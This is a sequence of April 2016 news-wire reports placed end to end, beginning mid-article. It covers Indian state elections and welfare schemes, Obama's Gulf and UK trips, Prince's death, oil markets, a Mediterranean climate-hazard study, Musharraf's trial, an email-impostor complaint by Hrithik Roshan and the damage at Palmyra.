One of the innovative model worth consideration for replicating in other states was that of rehabilitation of slum dwellers. This has reduced slum population drastically from 2001 to 2011 in Gujarat.

However the state raised concern that more and more children are going for private schools but they are not covered under Mid-Day Meal Scheme to provide nutritional support to children.

Maharashtra flagged managerial issues of MGNREGS. It



opined that there should be common MIS for all rural development schemes addressing poverty to leverage optimal resource utilisation, the statement said.

Rajasthan highlighted that its communitisation has brought paradigm shift in poverty alleviation wherein all interventions in Rajeevika are led by women resource persons from the community.

Rajasthan stressed that capacity development at least to block level functionaries need urgent attention as large amount of resources are being dealt at this level.

Haryana is adopting Poly house model to boosting the productivity of exotic flowers and vegetables in view of small land holdings. This is helping farmers to move away from water intensive paddy crop in the state.

The participating states particularly Maharashtra and Rajasthan wanted the issue of watershed development to be looked into and some remedial measures on availability of drinking water may be taken up by NITI Aayog.

All the states raised concern over quality of education in government schools.

At the first meeting of the governing council held on February 8, 2015, it was decided to constitute a task force on elimination of poverty in India under the chairmanship of NITI Aayog Vice-Chairman Arvind Panagariya. It was also decided that each state will constitute parallel task forces on poverty elimination as well.
Kanak Mani Dixit, a well-known Nepalese journalist and rights activist considered well- disposed towards India was today arrested by the anti-graft body here for ignoring summons over accusations of "amassing disproportionate assets".

Dixit, also the Chairman of Sajha Yatayat - the public transportation bus system in Nepal which serves Kathmandu Valley, was arrested from his Patan residence by a team of around 20 police personnel deployed by the Commission for the Investigation of Abuse of Authority (CIAA).

The anti-graft body has been probing the property details of Dixit on suspicion of "amassing property disproportionate to his known source of income".

Dixit, 60, had been ignoring summons by the constitutional anti-graft body and was "on the run", according to the CIAA.

"We have arrested the Sajha Yatayat Chairman Dixit not the journalist to investigate his involvement in corruption," said CIAA spokesperson Krishna Hari Pushkar.

In a statement issued today, the watchdog said Dixit has been arrested in connection with complaints that he misused his public position as the chairman of Sajha Yatayat to accumulate property illegally.

Pushkar said the arrest was carried out after Dixit did not obey the Commission's request to present himself at the Commission made via letters and telephones calls repeatedly.

Other complaints registered at the CIAA against Dixit are that he has deposited money at domestic and foreign banks in his and his family members' names by embezzling the Sajha Yatayat's property.

He is accused of selling the organisational property as own inheritance and investing the income in other corporations. He has also been alleged to have procured a house and land in his name in the US.

The property details submitted to the CIAA do not match the actual property registered in his and his family members' names, according to the statement.

The civil society leader, however, told local media after the arrest that the move was following an undemocratic decision of CIAA chief Lokman Singh Karki.

Dixit, the publisher of Himal and Nepali Times magazines who also writes for leading India media outlets, said he has been kept at the custody in CIAA central office in Tangal of Kathmandu.

Earlier in December, the Commission had summoned Dixit to its office to inquire about sources of his income. Dixit had challenged the move at the Supreme Court.
The process for May 16 Assembly elections in Tamil Nadu, Kerala and Puducherry today began with the issuing of notifications by the Election Commission.

Filing of nominations will now start for 234 constituencies in Tamil Nadu, 140 constituencies in Kerala and 30 seats in Puducherry.

The last date to submit nomination papers is April 29 and it would be scrutinized the next day. May 2 will be the last day for withdrawal. Counting of votes is on May 19.

Around 5.6 crore people are eligible to cast their franchise in Tamil Nadu where about 65,000 polling booths will be set up.

Tamil Nadu is witnessing a multi-cornered contest involving ruling AIADMK, DMK, PWF-DMDK-TMC combine and PMK and the BJP-led alliance.

Among the top leaders who campaigned were AIADMK supremo and Chief Minister J Jayalalithaa, DMK President M Karunanidhi, his son M K Stalin, DMDK founder Vijayakant, MDMK's Vaiko and PMK's Chief Ministerial candidate Anbumani Ramadoss.

The Union Territory of Puducherry has a total of 9,48,717 voters and 4,97,790 of them are women. 930 polling booths would be set up.

(REOPENS DEL21)



In Kerala, the total strength of voters is 2,56,27,620 and 1,33,01,435 of them are women.

Soon after the notification was issued, several candidates filed their nominations.

The filing of nominations began at 11 am at district collectorates.

Former Kerala Finance Minister K M Mani, Forest Minister Thiruvanchoor Radhakrishnan, BJP state President Kummanam Rajasekharan and party's former state unit chief V Muraleedharan were among those who filed their nominations on the first day.

Eight-three-year-old Mani, leader of the Kerala Congress (M), a constituent of the ruling Congress-led UDF, who is contesting from Pala assembly constituency in Kottayam district, filed his nomination papers before the returning officer at Kottayam collectorate.

Mani, who holds the record of longest serving member of the state Assembly, had to resign from the Oommen Chandy Cabinet in the wake of the corruption allegations against him in bar bribery scam.
One year after receiving them at Camp David, US President Barack Obama meets Gulf leaders again today, hoping they can more strongly commit to the fight against jihadists.

At the same time, with nine months left in his term, the president must again seek to reassure his Sunni allies upset over American overtures to their regional rival, Shiite Iran.

Obama attends the Gulf Cooperation Council summit in the Saudi capital after reporting progress in recent months against the Islamic State group of Sunni extremists who seized large parts of Iraq and Syria.

Saudi Arabia and other Gulf nations belong to the US-led coalition which carries out air strikes against IS.

Around 4,000 American troops are in Iraq as part of that mission which trains and assists local forces fighting the militants.

The research group IHS said on Monday that Islamic State had lost about 22 percent of its territory in the past 15 months.

In a bid to accelerate gains against the jihadists, Defence Secretary Ashton Carter -- in Riyadh with Obama -- announced on Monday that the US will send more troops and Apache attack helicopters to Iraq.

Washington also wants to emphasise the reconstruction of cities taken back from IS.

On Wednesday, Carter pleaded for greater Gulf financial and political involvement in Iraq, which is battling an economic crisis as well as the extremists.

Carter made the comments after meeting his GCC counterparts.

"I encourage our GCC partners to do more, not only militarily as the Saudis, as the UAE have been doing... But also politically and economically," Carter said.

Sunni support for "multisectarian governance and reconstruction" in Shiite-majority Iraq will be critical to ensuring the defeat of IS, the Pentagon chief said.

But Gulf leaders are offended by Obama's perceived reluctance to get involved in the region's problems, and in particular his tilt towards Iran, their rival which they accuse of widespread regional interference.

They worry that Iran will be further emboldened after the lifting this year of international sanctions against it under a US-supported international deal to curb Tehran's nuclear programme.

Riyadh leads an Arab military coalition that for 13 months has supported Yemen's government in its battle against Iran-backed Shiite Huthi rebels.

Obama adviser Rob Malley said it is important to settle the regional conflicts in Yemen and Syria not only because of their devastating humanitarian consequences.
Lending political backup to a struggling friend, President Barack Obama made an impassioned plea to Britons to heed Prime Minister David Cameron's call to stay in the European Union and dismissed critics who accused the US president of meddling in British affairs.

Speaking at a press conference at 10 Downing Street, Obama told reporters that Britain's power is amplified by its membership in the 28-nation union, not diminished. He made an almost sentimental appeal to the "special relationship" between the two countries. And he said cast a grim picture of the economic stakes saying flatly the US would not rush to write a free trade deal with a newly independent Great Britain.

"Let me be clear, ultimately this is something that the British voters have to decide for themselves but ... Part of being friends is to be honest and to let you know what I think," he said. "It affects our prospect as well. The United States wants a strong United Kingdom as a partner."



Obama spoke on the first day of a three-day visit to London, likely the last of this presidency. The visit comes two months before a June referendum on leaving the union. Polls suggest it will be a close-fought race, with most phone polls indicating a lead for the Remain campaign while some online polls put the Leave camp ahead.

Obama described the votes as potentially damaging to the British economy. He said the US is focused on writing a massive trade agreement with the European Union and would not prioritize a bilateral agreement with the UK. Britain would have to get "in the back of the queue," he said.

As he landed yesterday night, the president laid out his arguments in an op-ed in a London newspaper, harkening back to the "special relationship" forged by wartime allies President Franklin Roosevelt and Prime Minister Winston Churchill. With that special status comes with leeway to interfere, Obama argued, writing that he was offering his thoughts with the "candor of a friend."



Obama's candor wasn't universally appreciated. In increasingly heated language, critics accused Obama of meddling in British business. Former London Mayor Boris Johnson, the head of the Leave campaign called Obama's advice "paradoxical, inconsistent, incoherent" and suggested Obama's background played a role.
US President Barack Obama has led his countrymen in mourning the death of legendary pop star Prince, whom he described as the "most gifted and prolific" musician of his time.

"Today, the world lost a creative icon," Obama, who is currently on a three-nation six-day tour of Saudi Arabia, the UK and Germany, said in a statement yesterday.

Pop music superstar Prince Rogers Nelson popular as Prince was found dead at his home in suburban Minneapolis yesterday. He was 57.

"Michelle and I join millions of fans from around the world in mourning the sudden death of Prince. Few artists have influenced the sound and trajectory of popular music more distinctly, or touched quite so many people with their talent.

"As one of the most gifted and prolific musicians of our time, Prince did it all. Funk. R&B. Rock and roll. He was a virtuoso instrumentalist, a brilliant bandleader, and an electrifying performer," he said.

"Prince once said 'A strong spirit transcends rules' -- and nobody's spirit was stronger, bolder, or more creative. Our thoughts and prayers are with his family, his band, and all who loved him," Obama said.

According to local police officials, legendary Prince was found unresponsive in an elevator yesterday. An autopsy is planned today.

In 2004, he was inducted into the Rick 'n' Roll of Fame.

Upon hearing the news, mourners began lining up with flowers and stuffed animals outside the studio on Audubon Road, some sobbing and embracing, The Star Tribune reported.

"Our hearts are broken," said First Avenue music club in Downtown Minneapolis.
Oil prices climbed in Asia today, heading for their third weekly gain after OPEC said it was open to fresh calls on freezing output despite the failure to reach a deal at the weekend.

The exporting group's Secretary-General Abdalla El-Badri said it could revive the discussion among members and hold further talks with non-members. OPEC holds its next twice-yearly meeting on June 2.

A much-vaunted meeting Sunday in Doha collapsed after kingpin Saudi Arabia pulled out owing to bitter rival Iran's refusal to join in output limits. Tehran said it was still in the process of raising production after the removal of nuclear-linked Western sanctions in January.

However, while crude prices plunged immediately after the meeting fell apart, it has surged this week thanks to falling US production, a strike in key producer Kuwait and signs of a pick-up in key market China.

At around 0330 GMT today, US benchmark West Texas Intermediate (WTI) for delivery in June was up 54 cents, or 1.25 per cent, at USD 43.72 and Brent crude for June climbed 49 cents, or 1.10 per cent, to USD 45.02 a barrel.

WTI is up more than eight per cent and Brent 4.5 per cent from last Friday's close.

"The market is reacting to hopes that there will be more talks to discuss freezing output measures to support oil prices," Bernard Aw, an analyst with IG Markets Singapore, told AFP.

"But in my view, the failure of the previous talks in Doha has damaged OPEC's credibility," Aw said, adding he was not hopeful of an agreement in June.
By mid-century, pockets of southern Europe will face at least one severe climate hazard every year of the scale now occurring only once a century, according to a new study.

And by 2100, Europe's entire Mediterranean seaboard will be confronted annually with extreme droughts, coastal floods or heatwaves, said the study, published this week in the journal Climatic Changes.

Some hotspots will be hit every year by two or more such formerly one-in-hundred-year hazards, which also include wildfires, river floods and windstorms, the researchers found.

"This should be a warning to governments and institutions tasked with preparing solutions and adaptation strategies," said lead author Giovanni Forzieri, a scientist at the European Commission's Institute for Environment and Sustainability in Ispra, Italy.

The projections, he said, were based on climate models which assume Earth's surface temperatures will rise by about two degrees Celsius (3.6 degrees Fahrenheit) above the pre-Industrial Era benchmark by mid-century.

This is roughly half-way between the most optimistic and most pessimistic scenarios for how quickly humanity will be able to curb the greenhouse gases driving dangerous global warming.

The world's first global climate pact -- forged in Paris in December and signed on Friday by more than 170 countries at the United Nations in New York -- calls for capping temperatures at "well below 2 C".

But scientists say that at current rates of fossil fuel consumption, Earth may be on track for an increase of 4 C, or higher.

To date, studies projecting the frequency of future climate hazards have looked at them by category, such as flood or drought.

There was no "comprehensive picture on how multiple climate extremes will evolve during the 21st century," Forzieri told AFP at a meeting of the European Geosciences Union in Vienna, where he presented the findings.

Part of the problem is simply the different yardsticks used to measure each threat: temperature for heatwaves, water depth or area affected for floods, time periods for drought.
Kerala Forest Minister Tiruvanchoor Radhakrishnan, former Finance Minister K M Mani and state BJP President Kummanam Rajasekharan were among more than 122 candidates who entered the electoral fray as filing of nominations for May 16 assembly elections in Kerala, Tamil Nadu and Puducherry began today.

K Muraleedharan, Padmaja Venugopal (both Congress) and C P John (CMP) also filed their papers from ruling UDF camp as did former BJP Kerala unit chief V Muraleedharan as the state, which has a 140-member Assembly, saw 29 nominations on the opening day.

In Tamil Nadu which has a 234-member Assembly, DMK's Erode West Constituency candidate, former minister S Muthusamy and the party nominee TPM Moideen Khan at Palayamkottai were among the over 70 candidates who filed their nominations while three independents submitted their papers in Puducherry.

83-year-old K M Mani, leader of Kerala Congress (M), a constituent of ruling Congress-led UDF, who is contesting from Pala constituency in Kottayam district, filed his papers in Kottayam.

Mani, who holds the record of longest serving member of the state Assembly, had to resign from Oommen Chandy cabinet in the wake of the corruption allegations against him in the bar bribery scam.

Seven nominations each were filed in Thiruvananthapuram and Kottayam districts, the maximum.

The filing of nominations will continue till April 29 and the scrutiny of papers will be held on April 30. The last date for withdrawal of nominations is May 2.

In Tamil Nadu, AIADMK supremo and Chief Minister J Jayalalithaa is expected to file nomination next week from R K Nagar in Chennai while her rival and DMK President M Karunanidhi is scheduled file it on April 25 from his native Tiruvarur constituency.

Others including Chief Ministerial candidates of DMDK and PMK, Vijayakant and Anbumani Ramadoss respectively, and MDMK founder Vaiko are also likely to file nominations next week.

Fortyseven observers have been appointed as observers during the election in Kerala where hectic campaign is on for a three-cornered fight for the first time.

Besides Congress-led UDF and CPI(M)-headed LDF, BJP-led NDA alliance is also in the poll arena aiming to open its account this time. It has tied up with Bharat Dharma Jana Sena, a political party floated by the SNDP, an organisation of backward Ezhava community in the state.

Prime minister, Narendra Modi, BJP President Amit Shah, Congress President Sonia Gandhi, Vice President Rahul Gandhi, CPI(M) General secretary Sitaram Yechury are among those who are expected to hit the campaign trail in Kerala.

Counting of votes in Kerala, Tamil Nadu, Puducherry, along with West Bengal and Assam, will be taken up on May 19.
A Pakistani anti-terrorism court today termed former military dictator Pervez Musharraf's medical report as "fake" while rejecting his plea seeking exemption from court appearances in the 2007 judges' detention case.

72-year-old Musharraf last month flew to Dubai for purported treatment after the Supreme Court lifted bars on his foreign trips.

Musharraf's lawyer Akhtar Shah submitted the former army chief's April 6 medical report along with a request to grant his client temporary exemption from appearing in court in Rawalpindi but the judge rejected both and upheld his non-bailable arrest warrants issued earlier this month.

Anti-terrorism court (ATC) judge Sohail Ikram maintained that the former military ruler left the country in March but the report presented in the court is of April.

Musharraf's counsel argued that his client can appear before the court provided his doctors allow him and the government provides him security. Upon this, the judge responded that Musharraf has failed to appear in his court proceedings for the last one and a half year.

Islamabad police, in its report regarding Musharraf's non-bailable arrest warrants, stated that the warrants could not be executed as he is in Dubai since March.

The Judge ordered Inspector General Islamabad to find his whereabouts and produce him in court on May 20 when the next hearing of the case will be held.

Police registered the judges detention case on August 11, 2009, against Musharraf, who is accused of detaining at least 60 judges of the superior courts in their residences for over five months after imposing emergency in 2007.

The formal trial started 2013 and the former military ruler has been given exemptions from personal appearance 42 times.

Musharraf ruled from 1999 to 2008 when he stepped down.

He lived abroad for most of the time until his return in 2013 to contest elections but was implicated in several high- profile cases and was not allowed to leave the country.

Musharraf had said before leaving that he was going abroad to seek medical treatment for a spinal cord ailment which has now developed several complications and will "come back in a few weeks or months".

The ex-army chief is facing a slew of court cases. Apart from the illegal detention of judges case, he is facing trial in high treason case for abrogating the constitution in 2007. Treason is punishable with death in Pakistan.

Musharraf has also been charged in connection with the 2007 assassination of prime minister Benazir Bhutto and the killing of a radical cleric in Islamabad in a military crackdown.
Pakistani police today said they had arrested an Al-Qaeda financier who has been on the United Nations security council sanction lists for four years.

Abdur Rehman alias Abdul Rehman Sindhi, who was arrested yesterday in Karachi, was placed on the UN sanction list in 2012 for providing financial services to Al-Qaeda.

Individuals on the list are subject to a freeze on their assets, travel ban and arms embargo.

He was arrested during a joint operation of police and intelligence agencies in a congested residential quarter, Muqaddas Haider, a senior police officer told AFP.

Rehman is believed to have met Al-Qaeda founder Osama Bin Laden and his successor Ayman al-Zawahiri several times.

He also had close links with Saud Memon, a key suspect in the kidnap and murder of US journalist Daniel in 2002.

Rehman was a member of various Pakistan-based militant organisations before joining Al-Qaeda.

He served as a member of Al-Akhtar Trust, a banned Islamic charity, Jaish-e-Mohammad and Harkat-ul-Jihad Islami, all of which have also been proscribed internationally.
People of India and Egypt share a very old bond of love and affection and they will celebrate this relation during a two-week long cultural programme in the country, India's Ambassador to Egypt has said here.

The fourth edition of 'India by the Nile' cultural programme, organised by India, will take place from April 23 to May 7 in five cities -- Cairo, Alexandria, Ismaila, Port Saeed and Bani Suef.

"India by the Nile is a connection between the people of India and the people of Egypt, who share a very old bond of love and affection, a bond which stretches across various areas. Through two weeks, the people of the two countries will celebrate this bond," Ambassador Sanjay Bhattacharyya said yesterday.

The event has been a great attraction for Egyptians as it brings different contemporary and classical music concerts, dance, theatre, visual arts, film, food and literature.

Bhattacharyya said the festival, organised by the Embassy of India in Egypt and Teamwork Arts, is the most important cultural event by a foreign country in Egypt.

"I am happy to be here tonight celebrating the launch of India by the Nile. This year the festival brings various events which will be held in different cities of Egypt," said Camelia Sobhi, First Under Secretary for Foreign Cultural Relations in the Ministry of Culture.

"Culture is an extremely important part in any civilisation and it can bring people together. Culture allows you a window into another world, another people, history, philosophy, tradition and way of thinking," said Sanjoy Roy, Director of Teamwork Arts.

Adel el-Masri, Technical Adviser to the Minister of Tourism said he considers this fourth edition of the festival as a success for the efforts of Embassy of India in Egypt and this confirms the deep cultural and political relations between the two countries.

A number of distinguished Egyptian women will be honoured on the opening day event "Women of Substance".

The festival will bring Indian classical dance, world music, Bollywood musicals and world class photography exhibition to Egypt. There would be a Food fiesta by Indian celebrity chef and entrepreneur Vikram S Udaygiri.

A Bollywood workshop by trainer Gilles Ghuyen will be held. The world music band Indian Ocean will perform in Ismaila in front of the new Suez Canal.
Demanding regularisation of their services, hundreds of daily wage workers of the Public Health Engineering (PHE) department in Jammu and Kashmir today held a protest rally and tried to gherao the Civil Secretariat here.

However, the protesting PHE workers were stopped by the police before they could proceed to the Secretariat.

"Many of us have been working as daily wage workers for past more than a decade, but despite assurances by successive state governments no step has been taken to regularise our services," said the protestors.

They said the workers have been raising the demand for their regularisation for the past several months but the authorities did not pay heed and they decided to gherao the Civil Secretariat.

They accused the BJP of not keeping their pre-poll promise to redress the grievances of the daily wage PHE workers.

The PHE workers have threatened to intensify their agitation if the government fails to regularise their services.

Police had a tough time controlling the protesting workers from proceeding towards the Civil Secretariat and they were stopped near B C Road.

"We had to use barbed wires to block the road so as to stop these protesting PHE workers from proceeding towards the Civil Secretariat," a police officer said.

He said elaborate security arrangements have been put in place to maintain law and order in the city.
Prime Minister Narendra Modi will on May 1 launch an ambitious Rs 8,000 crore scheme to provide 5 crore free LPG connections to BPL families using the money saved from 1.13 crore cooking gas users voluntarily giving up their subsidies.

Modi will launch the Pradhan Mantri Ujjwala Yojana at Ballia in Uttar Pradesh on May 1 and do a repeat function at Dahod in Gujarat on May 15.

Though the 'Give-it-Up' campaign seeking the well-heeled to voluntarily surrender cooking gas subsidies for one year was launched in January, 2015, Modi on March 27 last year officially launched the programme.

"Since the launch, 1.13 crore people have given-up LPG subsidies and are buying cooking gas at market price," Oil Minister Dharmendra Pradhan told reporters here.

Maharashtra tops the list with 16.44 lakh consumers giving up subsidies. Uttar Pradesh saw nearly 13 lakh users give up subsidies, followed by Delhi (7.26 lakh). Prime Minister's home state of Gujarat was way down the list with just 4.2 lakh giving up subsidies. Pradhan's home state of Odisha was even lower at 1.3 lakh.

"Five states of Maharashtra, Uttar Pradesh, Delhi, Karnataka and Tamil Nadu account for roughly half of the people who have given up LPG subsidies," Pradhan said.

Consumers are currently entitled to 12 cylinders of 14.2 kg each or 34 bottles of 5 kg each in a year at subsidised rates. A subsidised 14.2-kg cylinder is currently available at Rs 419.13 per bottle in Delhi while the 5-kg pack costs Rs 155.

Market-priced LPG is available at Rs 509.50 per 14.2-kg cylinder. Giving up subsidised LPG will help cut the government's subsidy bill, which was at Rs 30,000 crore on the fuel last fiscal.

Nearly Rs 5,000 crore of subsidy saved through the campaign is being used to provide LPG connection to the poor. "We have released 60 lakh new connection to poor in the last one year," he said.

Modi, Pradhan said, will on May 1 launch the Pradhan Mantri Ujjwala Yojana for providing providing free LPG connections to women from BPL households.

"Under the scheme, Rs 8,000 crore has been earmarked for providing 5 crore LPG connections to BPL households," he said, adding that in the first year 1.5 crore connections will be provided.

The scheme provides a financial support of Rs 1,600 for each LPG connection to the BPL households. The identification of eligible BPL families will be made in consultation with the State Governments and the Union Territories, he said.

Pradhan said the country currently has 16.64 crore active LPG consumers.

Of the 21 million tonne LPG requirement, nearly 40% is imported and this will go up as demand rises by double digit with new connections.

"We expect import ratio will rise to 50-55%," he said.

Those who have decided to give up their subsidies have to buy the product at the market price.

The surrendered subsidy is used by the government to provide cooking gas connection to the poor in rural households free of cost, the official said.

On March 27, Modi had officially launched the 'Give-it-Up' campaign, urging the well-off to surrender their so that it can be targeted for the needy. The aim is also to bring down the country's dependence on energy imports by 10% by 2022.

is transfered to beneficiaries directly in their bank accounts in advance.

Consumers can opt out of the subsidy by submitting written request to the distributor or electronically at mylpg.In.

Pradhan said with LPG coverage being predominantly in the urban and semi-urban areas, there are serious health hazards associated with cooking based on fossil fuels.

According to WHO estimates, about 5 lakh deaths in India alone due to unclean cooking fuels. Experts say having an open fire in the kitchen is like burning 400 cigarettes an hour.

"Providing LPG connections to BPL households will ensure universal coverage of cooking gas in the country. This measure will empower women and protect their health. It will reduce drudgery and the time spent on cooking. It will also provide employment for rural youth in the supply chain of cooking gas," he said.

Finance Minister Arun Jaitley had in his Budget for 2016-17 provided Rs 2000 crore to provide deposit free LPG connections to 1.5 crore women belonging to the Below Poverty Line (BPL) families.

Further, the Budget announced that the Scheme will be continued for two more years to cover 5 crore households.
An application has been filed by Mumbai police before a local court seeking issuance of notice to authorities at Mail and Media Inc regarding information about an email ID allegedly created by an imposter in the name of Bollywood actor Hrithik Roshan.

On March 25, Hrithik had registered a complaint with the cyber crime cell in suburban BKC here claiming that the ID 'hroshan.Email.Com' has been generated by an imposter and that the person was using it to communicate with his fans and others.

Hrithik had lodged the complaint after actress Kangana Ranaut at filmmaker Karan Johar's birthday party in May 2014 thanked Hrithik for appreciating her work in the film "Queen".

When Hrithik told her he had not seen the movie, Kangana told him that she had received an email from him from the 'hroshan.Email.Com' ID and that she has been corresponding on the email ID since several months.

Hrithik then denied having any such email address and said his ID was hroshan@mac.Com. Kangana, who has fallen out with Hrithik, later forwarded all the email sent and received by her from the 'hroshan.Email.Com' ID.

Acting on Hrithik's complaint, the cyber crime cell on March 18 sent a letter to the Chief Technical Officer of Mail and Media Inc. Which runs 'email.Com' seeking information about the said account.

The Chief Technical Officer replied to the police and asked them to contact the company's legal department at 'legalnotice@mail.Com'.

Accordingly, police sent a letter on March 31 to the legal department which stated in a reply that "We require subpoena from a court to release such account information. If you are able to provide such document please address it as follows."



The cyber cell then filed the application before the metropolitan magistrate on April 18 requesting it to issue a notice to the company situated in Pennsylvania, US, under section 91 of the Criminal Procedure Code (CrPC) directing it to produce the said information.

"If the court does not issue the notice then the police will not be able to probe the complaint further due to lack of information," the application filed by Cyber Crime Cell police inspector Kalpana Gadekar said.

Hrithik and Kangana are embroiled in a legal spat wherein both the actors have slapped legal notices on each other for defamation.

While Hrithik had claimed that Kangana was making false claims that they were in a relation, Kangana said they shared personal as well as professional relationship.
When two Polish heritage experts first restored the famed lion statue in Syria's Palmyra in 2005, they never imagined they would see it smashed to pieces only a decade later.

"We did new restoration, new presentation of this lion, the Lion of Al-Lat. And after, I thought, I'm doing this (to last) for over 200 years or 300 years, maybe more," archeologist Bartosz Markowski told AFP.

"But it appears it was only 10 years."



Markowski spoke to AFP at the entrance of Palmyra's museum, where the striking 15-tonne Lion of Al-Lat lay in large, jagged pieces.

It was smashed by the Islamic State group, which overran Palmyra - known as the "Pearl of the Desert" - in May 2015.

During their ten-month rule over the city, the jihadists executed hundreds of civilians and blew up some of Palmyra's most beautiful temples and funerary towers in the old city.

Palmyra's museum lies in the residential parts of the city.

The destroyed Lion of al-Lat at the museum's entrance serves as a harbinger for the destruction inside: statues lay in pieces blanketed in dust and debris.

Syria's government forces recaptured the city on March 27, and experts immediately set to work assessing the damage to the city's historic ruins.

Markowski, from the University of Warsaw's archeology institute, was the first foreign archeologist to enter Palmyra after the regime win.

He arrived in Palmyra with his colleague Robert Zukowski, from the Polish Academy of Sciences, in mid-April for a one-week mission to evaluate the damage.

The three-metre-tall Lion of al-Lat dated back to the 1st century BC.

It was first discovered in 1977 by a Polish archeological mission at the temple of Al-Lat, a pre-Islamic Arabian goddess.

Nearly four decades later, his hair and clothes covered in dust, Markowski patiently catalogued the broken pieces of the limestone monument.

"This lion is like our baby. We have had a sentimental relationship with this statue ever since we came in 2005 to help restore Palmyra," Markowski said.

As soon as he and Zukowski heard IS was pushed out of Palmyra, "we decided to return at the invitation of the Directorate of Antiquities and Museums of Syria," he added.

Maamun Abdulkarim, the head of Syria's antiquities department, says the two Polish workers are "heroes."



Markowski said he felt he "had to come back as soon as possible."



"We were excited because we had not seen any photos since one year, or almost one year, since Daesh came here," he said, using an Arabic acronym for IS.
With the primary season entering a critical phase, the leading presidential candidates have raised millions in funds from their supporters to use against their rivals.

Topping the list is Democratic presidential candidate Senator Bernie Sanders with USD 46 million in March, followed by his party's front runner Hillary Clinton with about USD 29 million.

The GOP presidential front-runner who is self-funding his campaign has allocated USD 20 million for the rest of the primary season, his rival Senator Ted Cruz from Texas raised USD 12.5 million in March, information submitted to the Federal Election Commission said.

Governor John Kasich of Ohio who has managed just one win so far, raised less than one third of that of Cruz.

Interestingly, Sanders has out-raised his primary rival and front runner Clinton for three successive months.

"Bernie's grassroots campaign has now out-raised Secretary Hillary Clinton for three months straight," said Jeff Weaver, Sanders' campaign manager.

"We're honoured to have the strong support of 2.2 million passionate donors who have given more than 7 million times. It's because of them that our campaign can take on the establishment and win eight of the last ten primaries and caucuses," he said.

The Clinton campaign said it began April with about USD 29 million in the bank after raising more than USD 29.3 million in primary contributions in March thanks to more than 670,000 contributions from about 400,000 people during the month.

The average donation was about USD 45 and more than 50 per cent of the USD 29.3 million came from grassroots online donations.

Clinton now has more than 1,100,000 contributors.

"We head into the homestretch of the primary in strong financial shape with the resources we need to continue to run a competitive race through the end of the primary and the road ahead," said Hillary for America Campaign Manager, Robby Mook.

Meanwhile Politico reported that Trump has committed USD 20 million to his campaign for the rest of the primary season.

Trump's main rival Cruz raised USD 12.5 million in March. He has USD 8.8 million in the bank at the end of March.
President Pranab Mukherjee will visit Papua New Guinea (PNG) and New Zealand next week, his first-ever state visit to the two countries, during which a raft of agreements will be signed.

During his visit beginning with PNG on April 28, several agreements are expected to be signed in the fields of education, health, connectivity, economic cooperation, agriculture and dairy farming.

Briefing reporters today, External Affairs spokesperson Vikas Swarup said "this will be the first ever visit to the two countries by the President."



The President will be accompanied by Minister of Food Processing Industries Harsimrat Kaur Badal and a delegation of members of Parliament.

"Several agreements are expected to be signed during the visit in the fields of economic cooperation, education and connectivity," he said.

Papua New Guinea (PNG) is the largest of Pacific island country, both in terms of land area and population, and is blessed with abundant natural resources.

Its Prime Minister Peter O'Neill had visited India last August for a summit meeting.

"A number of areas of cooperation between India and PNG are in the process of finalisation in the fields such as health, infrastructure development, capacity building etc.," Swarup said.

On the President's visit to New Zealand, which starts from April 30, he said India and New Zealand traditionally share close relations.

"Both sides see prospects for cooperation in agriculture, dairy, food processing, education and skill development as well as high technology. The Indian diaspora of 1,75,000 helps to further cement our ties," he said.

New Zealand Prime Minister John Key had visited India in 2011 while the Governor General of New Zealand visited the country in 2008, 2009 and 2011.
Chappals and eggs were hurled at the car of former union minister and DMK leader A Raja near here today as he faced the wrath of a group of party workers opposed to the choice of M B Mubarak as the candidate for Coonoor in the May 16 assembly elections.

Police said around 400 DMK workers reportedly owing allegiance to former state minister D Ramachandran gathered in front of a hall in Kothagiri where Raja, former Lok Sabha member from Udhagamandalam, was to introduce the candidate.

As the car reached the venue, chappals and eggs were hurled at the vehicle. Some of the missiles landed on the car even as the workers ghearoed Raja, by preventing him and Mubarak from getting out, they said.

The protest came a day after party patriarch M Karunanidhi appealed to the cadres to put behind their disappointments over choice of nominees and work unitedly for DMK's victory assuming that he himself is the candidate in all the constituencies.

DMK, which is seeking to storm back to power in the polls, has been facing protests over choice of candidates in several constituencies and had changed four of them already.

Police said they managed to clear the crowd and made way for the two leaders to reach the meeting hall.

The meeting, attended by nearly 800 DMK workers, went off peacefully, police added.

There has been strong opposition against the nomination of Mubarak, a former whip of the party in the assembly, from the supporters of Ramachandran who claimed that their leader had nurtured the constituency well.

However, the party has stuck to its decision to field Mubarak ignoring the protests.
Bollywood actress Radhika Apte has bagged the best actress in an international narrative feature honour at this year's Tribeca Film Festival for her performance in anthology film "Madly".

The 30-year-old actress starred in "Clean Shaven", which is a segment of "Madly".

"The #Tribeca2016 Award for Best Actress in an International Narrative Feature goes to... @Radhika_Apte in MADLY," read a tweet from the festival's official Twitter handle.

The "Hunterrr" actress thanked the festival for the recognition in a Twitter post, saying, "Thank you Tribeca!!"



The award for best US narrative feature went to "Dean", written and directed by Demteri Martin. It is a comedy about a man, who falls for a woman just as his father prepares to sell his family home in the wake of his mother's death.

"Junction 48" was honoured with the best international narrative feature award.

The award for the best actor in a US narrative feature film went to Dominic Rains ('The Fixer'), while Mackenzie Davis' performance in "Always Shine" earned her the best actress.

Alan Sabbagh bagged the best actor award in an international narrative feature for his work in "The Tenth Man".
Rajasthan Governor Kalyan Singh has handed over to the divisional commissioner the charge of Vice Chancellor of Maharaja Surajmal Brij University, Bharatpur who has resigned.

The Governor has accepted the resignation of the founder VC K D Swami and handed over the charge to the Bharatpur Divisional Commissioner Vikas Bhale, a Raj Bhawan statement said today.

Swami, who had cited personal reasons for his resignation, had expressed anguish after BJP MLA Vijay Bansal had accused him of corruption during a meeting of the varsity's Board of Management earlier this month.

Bansal, however, had rejected the allegation of having used derogatory language and said he had only raised the issue of corruption and demanded an inquiry by the anti-corruption bureau.
Reliance Jio, whose commercial launch has been inordinately delayed, today denied any technical glitches behind the hold-up and said network optimisation is taking time as it wants to ensure a seamless and foolproof rollout with a couple of million users.

At the last AGM, company Chairman Mukesh Ambani had said the commercial launch would happen by December, which was then postponed to March.

The telecom venture of RIL, however, launched services for its employees late December and later extended them to their families and friends, taking the overall consumer base to a little over 5 lakh.

Asked about the delays in commercial launch, Rel Jio's Strategy and Planning head Anshuman Thakur said, "There is no reason for the delay. It's first time that the LTE technology is being tested on such a large scale anywhere in the world.

"As it needs a lot of optimisation, which will lead to some disturbances in services, we want to ensure that once commercially launched the service is seamless. In fact the only delay is network optimisation. Also, we want to have a larger user-base of say a couple of millions at least (up from the present 0.5 million) to do the rollout."



But he parried a query on what is preventing them from ramping up the user-base.

